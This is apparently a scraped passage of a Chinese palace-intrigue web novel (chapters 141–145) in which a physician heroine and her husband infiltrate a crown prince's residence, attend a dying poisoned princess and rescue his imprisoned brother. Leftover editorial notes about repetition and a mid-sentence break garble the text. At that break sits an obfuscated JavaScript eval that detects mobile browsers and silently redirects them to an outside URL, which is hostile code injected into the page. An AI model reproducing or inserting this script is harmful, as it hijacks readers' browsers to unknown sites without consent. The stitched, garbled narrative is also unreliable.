太子府的守卫果然森严,光是明面上的士兵就有好几队在巡逻。火把的光芒将整个府邸照得通明,连一只蚊虫都难以飞入。宁芷薇暗自思量,要神不知鬼不觉地潜入,怕是不容易。 “跟紧我。”秦远霄低声说完,一把揽住她的腰,轻功带着她跃过高墙。 宁芷薇的心跳漏了一拍,这还是秦远霄第一次这样亲密地碰触她。他的手掌温热有力,隔着衣衫传来的温度让她脸颊发烫。 两人躲在暗处,看见两个打更的从旁边经过。那两人走得歪歪斜斜,说话的声音都带着醉意。秦远霄眼睛一亮,示意宁芷薇准备动手。 很快,两人换上了更夫的衣服。宁芷薇给昏迷的更夫各扎了一针,确保他们不会太快醒来。她的手法极为娴熟,银针刺入穴位的角度分毫不差。 “你下手还挺有分寸。”秦远霄轻声调侃,“看来跟着师父学了不少本事。” 宁芷薇白了他一眼:“我可不想平白无故害人性命。医者仁心,这是师父教我的第一课。” 两人装作打更的样子,在府中四处转悠。府中亭台楼阁错落有致,假山水榭曲径通幽。忽然,远处传来一阵悠扬的乐声,还夹杂着女子的笑声。 “那边好像是太子的寝殿。”秦远霄压低声音说道,“我们得小心些,太子身边的暗卫都是一等一的高手。” 还没等他们靠近,两个黑衣暗卫就拦住了去路。他们身形矫健,眼神锐利,一看就是久经沙场的好手。宁芷薇心里一紧,下意识地往秦远霄身边靠了靠。 “滚远点!这不是你们该来的地方!”暗卫厉声喝道,手已经按在了腰间的刀柄上。 秦远霄连连点头称是,装出一副唯唯诺诺的样子,拉着宁芷薇快步离开。转过几个院落,突然看见一个宫女慌慌张张地跑来,裙摆被夜风吹得猎猎作响。 那宫女一个不稳摔倒在地,宁芷薇连忙上前搀扶。从对方的口音听来,必定是永安长公主带进宫的贴身侍女。她的手心全是冷汗,整个人都在发抖。 “太子妃娘娘晕倒了,需要巫医!”宫女急得快哭了,“谁能去请个大夫来?” 宁芷薇和秦远霄对视一眼,这或许是个机会。太子妃的寝宫,正是他们此行的目的地。 “我们知道哪里有大夫。”秦远霄沉声说道,“带我们去见太子妃吧。” 宫女犹豫了一下,但看着太子妃的情况危急,也顾不得多想,连忙带着两人往寝宫方向跑去。 夜色渐深,月光如水般倾泻而下。宁芷薇的心跳得厉害,她知道,接下来才是真正的考验。 婢女芳儿站在昏暗的廊下,月光透过斑驳的窗棂洒落一地碎影。她紧咬着下唇,指甲深深掐进掌心,才勉强压下心中翻涌的情绪。 “既然如此,也只能这般了。”她低声说着,声音里带着几分颤抖。 宁芷薇注意到芳儿眼角有未干的泪痕,想来这个看起来柔弱的婢女已经哭过许多次。她轻轻拍了拍芳儿的肩膀,示意她带路。 两人沿着幽深的回廊前行,脚步声在寂静的夜里格外清晰。宁芷薇暗自观察着周围的环境,越走越觉得不对劲。这条路通向的方向,分明是宫中最偏僻的角落。 拐过几道弯,眼前豁然开朗。然而映入眼帘的景象却让宁芷薇心头一沉。 残垣断壁间杂草丛生,几间低矮的房舍摇摇欲坠。屋顶的瓦片残缺不全,墙壁上爬满了青苔。院中的枯井边堆积着厚厚的落叶,一阵风吹过,腐朽的气息扑面而来。 “这就是...太子妃的寝宫?”宁芷薇忍不住问道。 芳儿垂着头,手指绞在一起:“是。” 秦远霄站在一旁,眉头紧锁。作为御医,他见过不少宫闱秘事,但如此对待一国公主、明媒正娶的太子妃,实在令人心寒。 穿过杂草丛生的庭院,芳儿推开了一扇摇摇欲坠的木门。吱呀声在寂静的夜里格外刺耳。 屋内昏暗潮湿,只有一盏油灯在风中摇曳。空气中弥漫着一股药味,混杂着霉味,令人作呕。 宁芷薇的目光落在正对门的木床上。一个披头散发的女子正蜷缩在那里,身上盖着一条褪色的薄被。 “四公主...”秦远霄低声唤道,声音里带着难以置信。 宁芷薇快步上前,伸手搭上了四公主的脉搏。入手一片冰凉,脉象细若游丝。她的眉头越皱越紧,心中已有了判断。 “怎么样?”芳儿焦急地问道,声音里带着哭腔。 宁芷薇缓缓收回手:“情况很不好。脉象微弱,气血两虚,五脏受损...” “不可能!”芳儿激动地打断她,“太子妃是金枝玉叶,怎会...”她的声音戛然而止,眼泪夺眶而出。 另一个婢女这时匆匆跑了进来,气喘吁吁:“芳姐姐,我去太子那边...守卫根本不让靠近...” 芳儿身子一晃,跌坐在地上。她用袖子擦着眼泪,却怎么也擦不干。 宁芷薇看着这一幕,心中五味杂陈。从脉象来看,四公主不仅中了蛊毒,还经历过多次流产。这具年轻的身体,已经被摧残得不成样子。 “我可以让四公主暂时清醒,但时间不会太长。”宁芷薇取出银针,轻声说道。 “求您了!”芳儿跪了下来,额头重重磕在地上。 宁芷薇一边施针,一边趁人不备给四公主注射了一针强心剂。没过多久,床上的人缓缓睁开了眼睛。 与下文重复描写 四公主艰难地抬起手,示意芳儿靠近。她的手指瘦得只剩下骨头,指甲泛着不正常的青紫色。 “芳儿,对不起...”她断断续续地说着,“连累你...跟着我受苦...” “公主别这么说!”芳儿握住她的手,泪如雨下,“是奴婢没用,保护不了公主...” 第一百四十一章 四公主的目光转向宁芷薇和秦远霄:“他们是谁?”四公主虚弱的声音在昏暗的房间内响起,烛光在她苍白的脸上投下摇曳的阴影。 宁芷薇与秦远霄交换了一个眼神。房间内弥漫着一股若有若无的药香,混杂着令人不安的气息。两人都清楚,以四公主目前的状况,恐怕活不过今夜。 宁芷薇的手指无意识地摩挲着袖口,心中暗自叹息。她用秘法唤醒四公主,非但不能延长其寿命,反而会加速死亡的进程。可事已至此,也只能如此了。 “四公主,在下秦远霄。”秦远霄向前迈了一步,月光从窗棂间洒落,在他易容后的脸上投下斑驳的光影。 四公主挣扎着想要支起身子,却被一阵剧烈的咳嗽打断。她努力睁大双眼,想要从眼前这张陌生的脸上寻找熟悉的痕迹。可惜,秦远霄此刻易容在身,与原本样貌大不相同。 “还记得当年送你去东陲和亲时的事吗?”秦远霄的声音低沉而温和,“那日你执意要去秦家祖坟上香,还说若不让你去,宁愿死在我面前。” 四公主眼中闪过一丝追忆,随即又是一阵剧烈的咳嗽:“原来...真的是你...”她的声音虚弱得几乎听不见。 “公主,您别动。”守在床边的芳儿连忙上前扶住她,眼中含着泪水。 宁芷薇仔细观察着四公主的脸色,那种特殊的灰白让她心中一沉。“公主这是中了蛊毒?”她轻声问道。 四公主原本黯淡的眼神突然变得锐利:“你怎会知道?” “这蛊毒的气息,我再熟悉不过。”宁芷薇眉头紧蹙,“只是不知公主为何会中蛊?据我所知,这种蛊毒只有东陲蛊师才能炼制。” 四公主避开她探究的目光,唇角微微颤抖,似乎在压抑着什么。 “公主!”跪在床前的芳儿突然失声痛哭,“您都这样了,有啥非讲不可?您为秦家做了那么多...” “住口!”四公主厉声喝止,随即又是一阵剧烈的咳嗽,几滴血迹沾染在她苍白的手帕上。 秦远霄眸色一沉:“四公主为我秦家做了什么?” 房间内的气氛陡然凝重。宁芷薇也紧盯着四公主,她总觉得这其中必有隐情。作为贵妃嫡女,四公主与秦家按理说应是水火不容才对。 “公主,她...她还能活多久?”芳儿哽咽着问宁芷薇,声音里满是绝望。 宁芷薇沉默片刻:“最多一个时辰。”她直视着四公主的眼睛,“蛊毒已经侵蚀到心脉。” 四公主闻言,反倒露出一丝释然的笑容:“既如此,也该说了。”她艰难地转头看向秦远霄,“不过你要先答应我一件事。” “什么事?” “知道真相后,不许去救他。”四公主的声音虽然虚弱,却带着不容置疑的坚定。 秦远霄心头一震,隐约猜到了什么:“在下不能贸然答应。若事关秦家,我必须以大局为重。” “公主,求您说吧!”两个婢女跪地痛哭,“您受了这么多苦,为什么还要替他们隐瞒?” 宁芷薇看着这一幕,脑海中突然闪过一个大胆的猜测:莫非四公主口中的“他”,竟是秦家失踪的那个人? 她正要开口询问,却见四公主突然剧烈咳嗽起来,一口鲜血喷涌而出。 “快,扶公主躺下!”宁芷薇连忙上前,手指搭上四公主的脉搏。 “我时日无多...”四公主气若游丝,“让我把话说完。” 秦远霄神色复杂地看着她:“公主何必如此执着?” “因为...”四公主的眼神逐渐涣散,“我欠秦家的,远比你们想象的多...” 夜色渐深,烛光摇曳。房间内的气氛越发凝重,仿佛连空气都凝固了。四公主的呼吸越来越微弱,但她似乎还在坚持着什么。 “三年前...”她突然开口,声音断断续续,“贵妃想要对付秦家,我...我得知消息后...” 话未说完,四公主又是一阵剧烈咳嗽。宁芷薇连忙为她输入一丝真气,暂时稳住了她的气息。 “公主,您别说了。”芳儿泪流满面,“您已经做得够多了...” 四公主摇摇头,执意要继续:“我暗中派人通知了秦家,但...”她的声音越来越微弱,“但我没想到,贵妃会...” “会什么?”秦远霄追问道,眼中闪过一丝急切。 四公主却突然闭上了眼睛,脸上浮现出痛苦的神色。宁芷薇探查她的脉象,发现已经微弱到几乎察觉不到。 “公主!”婢女们的哭声更加凄厉。 房间内一片寂静,只有烛火的噼啪声和婢女的啜泣声。四公主的呼吸越来越微弱,似乎随时都会停止。 秦远霄站在床边,神色复杂。他没想到,这位与秦家素无瓜葛的四公主,竟然隐藏着如此多的秘密。 宁芷薇看着这一幕,心中思绪万千。她隐约感觉到,四公主的死,恐怕只是一个更大阴谋的开端... 四公主的话让秦远霄心头一紧,他急切地想知道七哥的消息,却又担心四公主的身体状况。昏暗的房间里,四公主苍白的面容在烛光下显得格外憔悴,她靠在床头,眼神中透着几分疲惫。 “我要说的是关于秦昭玄。”四公主轻声开口,语气中带着几分不舍。她纤细的手指无意识地揪着被角,仿佛在酝酿着什么。 秦远霄和宁芷薇对视一眼,眼中都闪过一丝诧异。他们原本以为会是大哥或二哥的消息,谁知竟是七哥现身。房间里的气氛突然变得凝重起来,连呼吸声都清晰可闻。 “七哥他在哪?”秦远霄迫不及待地追问,声音中带着掩饰不住的焦急。 四公主闭上眼睛,往事如潮水般涌来。她第一次见到秦昭玄时,他还是御前侍卫统领。那时的她才十四岁,却被他刚毅的面容深深吸引。记忆中的那个下午,阳光正好,他站在御花园的梨树下,剑眉星目,英姿飒爽。 她知道自己注定要和亲,从未敢对秦昭玄有任何非分之想。可命运弄人,在一次追逐走失的鹦鹉时,她再次遇见了他。那天的画面至今历历在目,秦昭玄轻松跃起,将受惊的鹦鹉稳稳接住,递还给她时那淡然的神情,让她心中泛起涟漪。 “我在东陲见过七老。”四公主的声音有些虚弱,眼神中闪过一丝痛楚,“他被一位蛊师控制,成了傀儡。” 第一百四十二章 秦远霄的拳头瞬间攥紧,指节因用力而发白。房间里的温度仿佛骤然降低,连烛火都微微摇晃。 看到主子气息不稳,芳儿连忙上前搀扶。她轻声说道:“公主为了救七老,甚至答应让那蛊师在她身上下蛊。那段日子,公主每天都在承受着难以想象的痛苦。” “什么?”宁芷薇惊呼出声,眉头紧皱。 芳儿叹了口气,眼中含着泪水:“那蛊师将七老安排在公主身边做侍卫。每天看着七老失去神智的样子,小姑娘心如刀绞。可太子起了疑心,觉得公主对七老太过上心,便将公主打入冷宫。” 秦远霄心中翻涌着复杂的情绪。他没想到四公主会为了救七哥付出如此代价。窗外的月光洒进来,为四公主憔悴的面容镀上一层银辉。 “七哥现在在哪?”他急切地问道,声音中带着压抑的怒意。 四公主艰难地撑起身子,芳儿连忙在她背后垫了个软枕:“他被关在太子府的地牢里。那里阴暗潮湿,守卫森严。” 秦远霄转身就要走,不料被四公主拦下。 “等等!”她急促地喘息着,脸色更加苍白,“你们此刻莫要轻举妄动。” “为什么?”秦远霄不解地回头,眼中闪烁着焦急的光芒。 四公主脸色苍白,眼中却闪着坚定的光芒:“太子府的地牢戒备森严,每个时辰都有侍卫巡逻。地牢的钥匙由太子亲自保管,就连太子妃都无权进入。贸然行动只会打草惊蛇。而且......” 她话未说完,突然剧烈咳嗽起来。芳儿连忙上前轻拍她的后背,递上一杯温水。 “而且什么?”秦远霄追问道,眉头紧锁。 四公主缓了缓气息,声音虚弱:“而且七老体内的魇魂蛊还未解除。那蛊虫盘踞在他的心脉处,随时可能要了他的性命。就算你们救出他,他也无法恢复神智。” 宁芷薇皱眉:“那该如何是好?总不能眼睁睁看着七老被困在那里。” “解蛊之法......”四公主说到一半,突然面色痛苦地捂住胸口,冷汗顺着额角滑落。 芳儿心疼地看着主子:“公主,您先歇息片刻。这些日子您已经受够了煎熬。” 秦远霄也意识到不能再逼迫四公主,便说道:“四公主若是知道解蛊之法,还请告知。我们一定会想办法救出七哥。” 四公主靠在床头,虚弱地说:“那蛊师每月都会来太子府一次,三日后便是他下一次造访的日子。他每次都会带着解药来,为了防止七老体内的蛊虫失控。你们若要救七老,必须先找到那蛊师。” “蛊师长什么模样?”宁芷薇问道,眼中闪过一丝警惕。 “他......”四公主刚要说话,突然脸色大变,捂着胸口痛苦地蜷缩起来。她的指甲深深陷入掌心,豆大的汗珠不断滚落。 “公主!”芳儿惊呼一声,手忙脚乱地扶住摇摇欲坠的主子。 “快去给公主看看!”秦远霄对宁芷薇说道,声音中带着焦急。 四公主却摆摆手,艰难地说道:“不必了,这是蛊虫发作。我体内的蛊虫与那蛊师相连,一旦说出他的秘密,蛊虫就会发作。这是我的惩罚,也是他对我的警告。” 秦远霄和宁芷薇面面相觑,没想到事情会如此棘手。房间里陷入一片沉默,只有四公主痛苦的喘息声在回荡。 芳儿小心翼翼地为四公主擦去额头的冷汗,眼中含着泪水:“公主当初为什么要答应那蛊师的条件?您明知道这样会害了自己。” 四公主虚弱地笑了笑:“因为我欠七老一条命。那年在御花园,要不是他及时出手,我就被刺客的暗箭射中了。我一直想找机会报答他,却没想到会是以这种方式。” 秦远霄握紧拳头,心中涌起一阵愧疚。他从未想过四公主会为了救七哥付出如此大的代价。 “三日后,那蛊师一定会来。”四公主艰难地说道,“你们要小心,他不仅精通蛊术,武功也很高强。而且......” 她话未说完,又是一阵剧烈的咳嗽。芳儿连忙扶她躺下,为她掖好被角。 “公主,您先休息吧。”芳儿心疼地说道,“这些事情明天再说也不迟。” 四公主却摇摇头,执意要说完:“而且他身边还有两个得力助手,都是东陲蛊族的高手。你们如果要对付他,一定要做好万全准备。” 秦远霄点点头:“四公主放心,我们一定会救出七哥,也会想办法解除你身上的蛊毒。” 四公主苦笑一声:“我的蛊毒已经无解了。那蛊师说过,只要我活着一天,就永远无法摆脱他的控制。我只求你们能救出七老,让他恢复神智。” 宁芷薇看了看天色:“时候不早了,我们先让四公主休息吧。” 秦远霄点点头,转身准备离开。走到门口时,他突然听到四公主虚弱的声音:“七老被关在地牢最深处的铁笼里,每天都要受尽折磨。你们一定要快些救他出来。” “我们知道了。”秦远霄沉声应道,眼中闪过一丝坚定。 与后文联系不上 重复描写 宁芷薇下意识握紧了秦远霄的手。她能感受到相公掌心传来的温度,也能察觉到他此刻内心的焦灼与担忧。七哥对他而言,不仅是兄长,更是一直以来的守护者。从小到大,每当秦远霄遇到困难,七哥总是第一个挺身而出的人。 “我知道太子府玄牢的布防。”四公主艰难地喘息着,眼中闪过一丝痛苦,“但若贸然行动,太子一旦发现,必会捏碎母蛊...” 秦远霄眸色一沉,修长的手指无意识地摩挲着衣袖。他当然明白这个道理,可七哥被囚禁在地牢中的每一刻,都让他寝食难安。那个总是笑着叫他“九弟”的人,此刻正承受着怎样的痛苦? “九爷...”床边的芳儿突然跪下,泪水不受控制地滑落,“求您救救我家公主。公主对秦家一直都是忠心耿耿。若不是她,墨七老早就...” 宁芷薇蹙眉打断了芳儿的话。她能理解这丫头的心情,但此刻最重要的是找到凤羽。时间紧迫,他们必须抓住每一分每一秒。 “公主,我们此行是为了寻找一味药材。”宁芷薇柔声道,目光温和地看着四公主,“听闻您的嫁妆中有凤羽...” 四公主虚弱地摇了摇头,苍白的唇瓣微微颤抖:“我的嫁妆...如今都在韩侧妃手中...” 宁芷薇心头一紧。事情比想象中还要棘手。韩侧妃,那个手段狠辣的女人,怎么可能轻易交出凤羽? “韩侧妃住在太子院后,那处最华丽的院落。”芳儿咬牙切齿地说道,眼中闪过一丝恨意,“那个女人,每日都要来嘲讽公主几句才甘心。” 第一百四十三章 房间里一时陷入沉默,只有四公主急促的呼吸声在回荡。秦远霄站在窗边,目光深邃地望着远处的太子府。那里戒备森严,守卫众多,想要不惊动任何人潜入进去,难度不亚于登天。 “带我七哥来的养蛊人,公主可曾见过他的模样?”秦远霄沉默片刻后问道。 四公主努力回忆着,眼神有些涣散:“他戴着围帽...身材瘦削...我未能看清面容...”说完这句话,她的呼吸越发急促,脸色也更加苍白。 宁芷薇连忙取出银针,施针稳住了她的气息。但她知道,这只是暂时的。四公主的生命正在一点点流逝,就像漏斗里的沙子,无法挽留。 “公主,您最多还有一刻钟...”宁芷薇轻声说道,心中充满不忍。 四公主艰难地抓住秦远霄的衣袖,那双曾经明亮的眼睛此刻蒙上了一层水雾:“秦远霄...我想请你帮我一个忙...” “芳儿和珊儿...从小便陪在我身边...”四公主目光温柔地看向两个婢女,声音越来越轻,“我不想她们...和我一样死在这里...” “不!公主!我们要跟您一起走!”两个婢女扑到床前,泣不成声。她们的哭声压抑而绝望,仿佛要将这些年的委屈都倾诉出来。 四公主的呼吸越来越微弱,她似乎想说什么,却已经发不出声音。只能用最后的力气紧紧握住秦远霄的手,眼中满是恳求。 宁芷薇看了看窗外的天色,又探了探四公主的脉搏。时间所剩无几,他们必须尽快做出决定。但眼下的情况实在太过复杂,一个不慎就可能满盘皆输。 四公主摇了摇头,眼底浮现出一抹病态的苍白,纤细的手指紧紧攥着被角,仿佛这样就能抓住最后一丝生机。 “她们即便回到永安,也只是无家可归的可怜人。”她的声音虚弱而沙哑,“希望她们能追随你。” 秦远霄站在床前,一时间有些愕然。他看着四公主那张苍白的脸,终于明白了她的用意。这位公主临终前,竟还在为两个婢女的未来操心。 “公主,秦家祖训,男儿不纳妾。”他微微蹙眉,语气中带着歉意却又不容置疑,“更何况,我此生只爱芷薇一人,这要求实在强人所难。” 芳儿和珊儿闻言立即跪地,泪水顺着脸颊滚落。“公主,奴婢宁死也要追随您!求您别赶我们走!” 宁芷薇站在一旁,看着这一幕,心中五味杂陈。她相信夫君的为人,却还是忍不住心头泛酸。那两个婢女年轻貌美,若真跟了过去...她下意识攥紧了衣袖,指节泛白。 秦远霄敏锐地察觉到妻子的情绪变化,额头渗出细密的汗珠。他三步并作两步来到宁芷薇身边,紧紧握住她的手。掌心相触的温度仿佛能传递他的真心。 “这位就是我家娘子,当朝宁大人之女。”他目光坚定地看着四公主,一字一句道,“我秦远霄此生只认她一人,绝无二心。” 床榻上,四公主的呼吸越发微弱,眼神也开始涣散。她似乎已经听不清周围的声音,只是固执地重复着:“求你...帮她们...找个好归宿...我才能...安心...” 话音未落,她的眼睛缓缓闭上,手指无力地松开被角。房内一片死寂,只有檀香袅袅升起。 “公主!公主!”两个婢女失声痛哭,跌跌撞撞地爬到床前。 芳儿突然转身,朝着房内的石柱狠狠撞去。她的眼中已经没有了生的希望,只剩下追随主子的决心。珊儿见状也紧随其后,裙摆在空中划出一道凄美的弧线。 宁芷薇眼疾手快,一个闪身来到芳儿身后。她手刀精准地劈向对方的后颈,同时暗暗调整了力道,既要制服人又不能伤及性命。秦远霄也默契地制住了珊儿,动作干净利落。 将两人打晕后,宁芷薇从袖中取出银针,分别扎在她们的昏睡穴上。随即运转内力,将两个昏迷的婢女收入界阙。 虽然她不愿多管闲事,但眼睁睁看着两个忠心耿耿的婢女寻死,她做不到。更何况,这也是四公主临终前的心愿。 时间紧迫,还有更重要的事情等着他们。七哥的安危才是当务之急。想到那个从小疼爱自己的兄长此刻还在太子的囚牢中受苦,宁芷薇的心就像被人狠狠攥住。 她拉住正要离开的秦远霄,朝着远处的守卫大喊:“太子妃薨了!太子妃薨了!”声音中带着几分刻意的慌乱。 趁着守卫四处搜寻声音来源时,她拉着秦远霄闪入界阙。熟悉的草香扑面而来,让人不由得松了口气。 界阙里,墨圆正好奇地打量着躺在草地上的两个婢女。他胖乎乎的小手不时戳戳她们的脸蛋,似乎在研究这两个陌生的“姐姐”为什么会睡得这么沉。 宁芷薇走过去抱起墨圆,在他肉嘟嘟的脸上亲了一口。这是她每次进界阙都会做的事,但今天却显得有些心不在焉。那双明亮的眼睛里闪过一丝阴霾,像是被什么心事困扰着。 秦远霄敏锐地察觉到妻子的异样。他知道宁芷薇在为方才的事情吃醋,但现在显然不是计较这些的时候。他轻轻握住妻子的手,无声地传递着安慰。 宁芷薇从药箱中取出镇定剂,给两个婢女分别注射。这能确保她们在接下来的行动中不会提前醒来。随后和秦远霄重新回到宫中。 远处,一群人正簇拥着太子往四公主的居所赶去,火把的光芒在夜色中格外醒目。 趁此机会,两人如同夜色中的魅影,悄无声息地潜入太子的院落。这里的奢华程度令人咋舌,处处彰显着主人的奢靡本性。雕梁画栋间镶嵌着名贵宝石,就连地砖都是上等的汉白玉。 他们仔细搜寻每一个角落,也未见装毒虫的玉瓶。看来母蛊应该就在太子身上。这个发现让两人都皱起了眉头。 第一百四十四章 抓了个打扫的下人问明地牢位置后,两人迅速赶往宫廷北角。沿途的守卫都被他们巧妙避开,像两道影子般无声无息地前进。 四名守卫把守的铁门前,他们假扮更夫靠近。趁着对方查看腰牌时,宁芷薇手腕一翻,一包**无声地洒了出去。守卫们还没反应过来,就已经倒在地上。 阴暗潮湿的地牢内,传来几个人划拳饮酒的声音。酒气混合着霉味,让人作呕。宁芷薇再次施放**,轻松制服了里面的守卫。 与后边描写重复 宁芷薇的心跳在看到那个低垂着头的身影时漏了一拍。昏暗的地牢里,空气中弥漫着一股腐朽的气息,墙角处积水的潮湿味道混合着淡淡的血腥气,让人作呕。 最深处的牢房里,一个披头散发的人被铁链锁在刑架上。他的衣衫褴褛,身上布满了鞭痕和伤口。 秦远霄已经快步上前,小心翼翼地托起那人的下巴。他的手指微微发抖,喉咙像是被什么堵住了一般。 “七哥...”他的声音带着难以掩饰的颤抖。 昏暗的火把光线下,秦昭玄紧闭的双眼周围布满血痕,嘴角和鼻翼也残留着暗红的血迹。他就这样毫无生气地靠在墙上,铁链深深勒进他的手腕,在那里留下了触目惊心的伤痕。 宁芷薇心头一紧,连忙上前探向他的鼻息。温热的气息虽然微弱,却依然存在。她的手指轻轻碰触到秦昭玄的脉搏,那微弱但规律的跳动让她稍稍安心。 “还活着。”她轻声说道。身边的秦远霄明显松了口气,但他紧绷的肩膀依然没有放松。 地牢里的火把忽明忽暗,在墙上投下摇曳的阴影。宁芷薇注意到秦昭玄身上的衣服已经破烂不堪,露出的皮肤上布满了新旧交错的伤痕。有些伤口已经结痂,有些却还在渗血,显然这些天他经历了常人难以想象的折磨。 “远霄,先救人。”她轻轻拉了拉秦远霄的衣袖,试图让他从愤怒中清醒过来。 秦远霄深吸一口气,强迫自己冷静下来。他迅速取出钥匙,打开锁链的同时,宁芷薇已经准备好将人送入界阙。铁链落地的声音在寂静的地牢中格外刺耳,两人不由得屏住呼吸。 地牢深处传来脚步声,似乎是换岗的狱卒。宁芷薇和秦远霄对视一眼,默契地躲在阴影处。脚步声渐渐远去,他们这才松了口气。 找到一处隐蔽角落后,宁芷薇立刻带着两人进入界阙。熟悉的医疗室环境让她稍稍放松,她立刻开始准备手术工具。 “帮我把他的衣服脱掉。”她一边消毒一边吩咐道。 秦远霄小心翼翼地解开秦昭玄的衣服,每一个动作都尽量轻柔。当看清楚七哥身上的伤势时,他的手明显颤抖了一下。 那些伤痕纵横交错,有鞭痕、烙印,甚至还有烫伤的痕迹。最触目惊心的是胸口处的一道刀伤,虽然已经结痂,但显然没有得到proper的处理。 宁芷薇强迫自己保持冷静,开始着手取蛊。这段时间她已经为不少人取过蛊,每一次都让她更加熟练。但看着秦昭玄身上的伤,她的心还是不可抑制地揪紧了。 秦远霄默契地在一旁打下手,递来递去间配合得天衣无缝。他的目光始终没有离开过七哥的脸,生怕错过任何细微的变化。 蛊虫被顺利取出的那一刻,两人都松了一口气。宁芷薇这才开始仔细检查秦昭玄的其他伤势。 “比四哥的情况要好一些。”她一边检查一边说道,手指轻轻触碰着那些伤口,“但是...” 她的话没说完,但秦远霄已经明白她的意思。这些伤口虽然表面上看起来没有四哥的严重,但持续的折磨造成的伤害可能更深。 “四公主是好意。”宁芷薇一边给伤口上药一边轻声说,“但她的能力有限,反而让七哥受了更多苦。” 秦远霄沉默着帮忙处理伤口,眼中的痛楚一闪而过。他知道四公主是想帮忙,但结果却适得其反。如果不是她的插手,七哥也不会被发现是装病。 处理完伤口,宁芷薇又给秦昭玄输了营养液和镇定剂。时间紧迫,他们不能在界阙停留太久。但看着七哥苍白的脸色,她还是忍不住多检查了几遍。 回到太子府,整个府邸已经乱成一锅粥。太子得知寝殿失窃的消息后震怒,不仅调动了府中所有侍卫,连御林军都派来搜查。火把的光芒照亮了夜空,喊声此起彼伏。 宁芷薇和秦远霄装作打更人在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15576566|170042||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 府中穿行,一路躲避着巡逻的侍卫。每经过一处岗哨,他们都要屏住呼吸,生怕被人发现。 韩侧妃的院子里灯火通明,显然她也被这场骚动惊醒。几个丫鬟正在院子里来回走动,不时往外张望。宁芷薇和秦远霄趁着夜色潜入,几个闪身就将院中所有人迷晕。 “这些都是四公主的嫁妆。”秦远霄环视着库房中琳琅满目的物品,从珠宝首饰到古玩字画,应有尽有。 时间紧迫,他们来不及仔细搜查,只能将整个库房的东西都收入界阙。既然四公主说凤羽在这里,那就一定不会有错。 两人又顺道光顾了太子府的库房,将里面的东西一扫而空。既然已经得手,不如做得彻底些。反正这些东西大多都是太子搜刮来的,取之有道。 “七哥的蛊已经解了,太子就算有母蛊也伤不到他。”宁芷薇一边收东西一边说,语气中带着一丝急切,“我们得赶紧回去,四哥那边更危险。” 城中到处都是巡逻的官兵,火把的光芒照亮了街道。两人只能借着夜色,在屋顶间穿梭,一路躲躲藏藏地回到租住的院子。 每经过一个岗哨,他们都要屏住呼吸,等待合适的时机。有几次差点被发现,都是宁芷薇眼疾手快地拉着秦远霄躲开。 终于回到院子时,秦修远正强撑着等他们回来。他脸色苍白,额头上布满冷汗,显然伤势又有恶化的趋势。 看到两人平安归来,他松了口气,却又为眼下的处境担忧:“九弟,你带九弟妹先走,不用管我。” 宁芷薇看了秦远霄一眼,趁着秦修远不备,迅速点了他的昏睡穴。她不能让四哥继续逞强,否则他的伤势只会更加严重。 外面传来嘈杂的脚步声,官兵已经开始挨家挨户搜查。秦远霄将明子也打晕带入界阙,他们暂时只能在这里避难。 宁芷薇趁机又给秦修远输了一袋血浆,仔细检查了他的伤势。虽然没有明显恶化,但也没有好转的迹象。她不由得皱起眉头,看来要尽快找到解蛊的方法。 确认四周安全后,她才将所有人带出界阙。院子已经被搜查过,到处都是翻动的痕迹。但好在他们提前做了准备,没有留下任何可疑的东西。 第一百四十五章 这一夜的惊险,总算暂时告一段落。但宁芷薇知道,这只是开始。随着天色渐亮,更大的风暴即将来临。 明子揉着后脑勺醒来,眼前一片模糊。他眨了眨眼,试图让视线变得清晰,却发现脑袋依旧昏沉沉的,像是被人狠狠敲了一棍。 房间里多了几个陌生人,空气中弥漫着一股淡淡的药味。明子下意识地绷紧了身体,手不自觉地摸向腰间,却摸了个空。 好在看到主子也在,他紧绷的神经才稍稍放松下来。 他站起身,朝着主子比划了几个手势,示意自己去外面查看情况。得到允许后,他悄无声息地退了出去。 房间里的气氛依旧沉闷。秦修远和秦昭玄都躺在床上,脸色苍白如纸,呼吸微弱但平稳,显然需要好好调养。 宁芷薇站在窗边,阳光透过窗棂在她脸上投下斑驳的光影。她的目光落在两个昏迷的女子身上,眉头微蹙。 这两个丫鬟若是醒来,该如何安置?她心里反复盘算着。带回塞北倒是个选择,只是这两人跟着公主这么久,不知是否愿意跟着他们过苦日子。 更重要的是,她们知道的太多了。若是走漏风声...宁芷薇不敢想象后果。 正想着,床上传来一阵窸窣声。芳儿猛地坐起身,像只受惊的兔子,警惕地打量四周。她的目光扫过房间里的每个角落,完全无视了站在面前的宁芷薇。 “公主!公主在哪里?”她的声音里带着焦急,眼中满是慌乱。 珊儿也跟着醒来,迷茫地揉着眼睛:“这是什么地方?”她环顾四周,看到陌生的环境后,脸色瞬间变得煞白。 宁芷薇看着她们惊慌失措的样子,心里一软。这两个丫头,跟着公主这么多年,感情怕是比亲人还深。她语气不自觉温和了几分:“你们早就脱离了太子府的掌控。” “不行!”芳儿一听这话就要往外冲,“我得回去,郡主此刻独自一人卧榻在此。”她的声音带着哭腔,眼泪在眼眶里打转。 宁芷薇拦在门口,皱眉道:“你们回去就是送死,太子会放过你们吗?” “生死有何惧?”芳儿倔强地抬着下巴,泪水却不受控制地滑落,“姐妹俩死心塌地守护郡主。就算是死,也要死在公主身边。” 珊儿也站了起来,虽然腿还在发抖,但眼神坚定:“是啊,我们从小就跟着公主,早就把生死置之度外了。” 宁芷薇看着她们固执的模样,心中暗叹。这份忠心难得,却也令人心疼。她放缓语气:“四公主明显是被东陲太子害死的,你们就不想为她报仇?” 芳儿苦笑一声,眼中的光彩瞬间黯淡:“咱们这俩柔弱之人,拿什么报仇?就算拼了这条命,又能如何?” “可以把消息传给明德帝,他总该为自己的女儿做主。”宁芷薇试探着说。 谁知这话反而戳中了芳儿的痛处,她脸上露出讥讽的笑:“我们送了十几封信去京城,圣上连看都不看一眼。公主病重的消息,他从来没放在心上。” 宁芷薇愣住了:“连亲生女儿的死活都不管?” 